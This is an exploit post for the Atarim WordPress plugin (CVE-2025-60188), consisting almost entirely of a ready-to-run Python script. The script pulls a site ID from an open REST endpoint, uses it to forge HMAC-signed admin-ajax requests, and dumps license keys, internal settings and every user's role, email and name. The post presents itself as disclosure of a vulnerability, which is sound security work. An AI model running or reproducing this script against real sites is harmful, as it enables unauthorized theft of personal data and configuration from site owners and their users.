Atarim WordPress Plugin 4.2.2 – Sensitive Information Exposure
# Exploit Title: Atarim WordPress Plugin 4.2.2 - Sensitive Information Exposure # Google Dork: N/A # Date: 2026-07-05 # Exploit Author: Mohammad Hossein Sadeghian # Vendor Homepage: https://atarim.io/ # Software Link: https://wordpress.org/plugins/atarim/ # Version: < 4.2.2 # Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7 # CVE: CVE-2025-60188 import requests import hashlib import hmac import json import sys import urllib3 import re import time urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def print_banner(): banner = r""" ____ __ _ __ __ / __ \________ ____ _____/ / / | / /__ / /_ / / / / ___/ _ \/ __ \/ __ / / |/ / _ \/ __/ / /_/ / / / __/ /_/ / /_/ / / /| / __/ /_ /_____/_/ \___/\__,_/\__,_/ /_/ |_/\___/\__/ Author: m4sh_wacker """ print(banner) class Colors: HEADER = '\033[95m' BLUE = '\033[94m' CYAN = '\033[96m' GREEN = '\033[92m' FAIL = '\033[91m' WARNING = '\033[93m' ENDC = '\033[0m' BOLD = '\033[1m' class AtarimUltimateExploit: def __init__(self, target): self.target = target.rstrip('/') self.site_id = None self.ajax_url = f"{self.target}/wp-admin/admin-ajax.php" self.rest_url = f"{self.target}/wp-json/atarim/v1/db/vc" self.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*' } def step_1_steal_id(self): print(f"{Colors.BLUE}[*] Connecting to target to extract Site ID...{Colors.ENDC}") try: r = requests.get(self.rest_url, headers=self.headers, verify=False, timeout=15) match = re.search(r'"wpf_site_id":"(\d+)"', r.text) if match: self.site_id = match.group(1) print(f"{Colors.GREEN}[+] TARGET INFECTED! Site ID Found: {self.site_id}{Colors.ENDC}\n") return True print(f"{Colors.FAIL}[-] Exploit Failed. Site ID not found in response.{Colors.ENDC}") return False except Exception as e: print(f"{Colors.FAIL}[-] Connection Error: {e}{Colors.ENDC}") return False def send_signed_request(self, action_name): if not self.site_id: return None reference = "sys_admin_check" signature = hmac.new( key=self.site_id.encode('utf-8'), msg=reference.encode('utf-8'), digestmod=hashlib.sha256 ).hexdigest() auth_headers = self.headers.copy() auth_headers.update({ 'Request-Reference': reference, 'Request-Signature': signature }) try: r = requests.post( self.ajax_url, data={'action': action_name}, headers=auth_headers, verify=False, timeout=20 ) if r.status_code == 200: try: return r.json() except: return None return None except: return None def run_exploit(self): if not self.step_1_steal_id(): return print(f"{Colors.HEADER}{'='*100}") print(f" 1. SYSTEM INTELLIGENCE (CONFIG & KEYS)") print(f"{'='*100}{Colors.ENDC}") details = self.send_signed_request('wpf_website_details') if details and isinstance(details, dict): print(f" {Colors.CYAN}Target URL:{Colors.ENDC} {details.get('url', 'N/A')}") print(f" {Colors.CYAN}Site Name:{Colors.ENDC} {details.get('name', 'N/A')}") license_key = details.get('wpf_license_key') if license_key and str(license_key).lower() != 'false': print(f" {Colors.CYAN}License Key:{Colors.ENDC} {Colors.FAIL}{license_key} (LEAKED!){Colors.ENDC}") else: print(f" {Colors.CYAN}License Key:{Colors.ENDC} {Colors.WARNING}Not Found / Free Version{Colors.ENDC}") print(f"\n {Colors.BOLD}[Internal Configurations]{Colors.ENDC}") settings = details.get('settings', []) for s in settings: k = s.get('name', '').replace('wpf_', '').replace('_', ' ').title() v = str(s.get('value', '')) if '@' in v or 'admin' in v.lower(): v = f"{Colors.GREEN}{v}{Colors.ENDC}" print(f" - {k:<30} : {v}") else: print(f"{Colors.FAIL} [-] Failed to dump system config.{Colors.ENDC}") time.sleep(1) print(f"\n{Colors.HEADER}{'='*100}") print(f" 2. COMPROMISED ACCOUNTS (FULL PII DUMP)") print(f"{'='*100}{Colors.ENDC}") users = self.send_signed_request('wpf_website_users') if users and isinstance(users, list): header = "{:<5} | {:<15} | {:<20} | {:<30} | {:<15} | {:<15}".format( "ID", "ROLE", "USERNAME", "EMAIL", "FIRST NAME", "LAST NAME" ) print(f"{Colors.BOLD}{header}{Colors.ENDC}") print("-" * 110) for u in users: uid = str(u.get('wpf_id', '-')) role = u.get('role', 'none') uname = u.get('wpf_name', 'unknown') email = u.get('wpf_email', 'unknown') fname = u.get('first_name', '') lname = u.get('last_name', '') c_start = "" c_end = "" if 'admin' in role.lower(): c_start = Colors.FAIL c_end = Colors.ENDC print(f"{c_start}{uid:<5} | {role:<15} | {uname:<20} | {email:<30} | {fname:<15} | {lname:<15}{c_end}") known_cols = [ 'wpf_id', 'role', 'wpf_name', 'wpf_email', 'first_name', 'last_name', 'is_admin', 'wpf_display_name', 'wpf_user_avatar' ] extras = {k: v for k, v in u.items() if k not in known_cols and v} if extras: for k, v in extras.items(): print(f" {Colors.WARNING}-> {k}: {v}{Colors.ENDC}") print(f"\n{Colors.GREEN}[+] Total Users Extracted: {len(users)}{Colors.ENDC}") else: print(f"{Colors.FAIL} [-] No users found or Access Denied.{Colors.ENDC}") print(f"\n{Colors.HEADER}{'='*100}") print(f" EXPLOIT FINISHED") print(f"{'='*100}{Colors.ENDC}") if __name__ == "__main__": print_banner() target_site = input(f"{Colors.BOLD}Enter Target Site URL (e.g., https://example.com): {Colors.ENDC}").strip() if len(sys.argv) > 1: target_site = sys.argv[1] exploit = AtarimUltimateExploit(target_site) exploit.run_exploit() |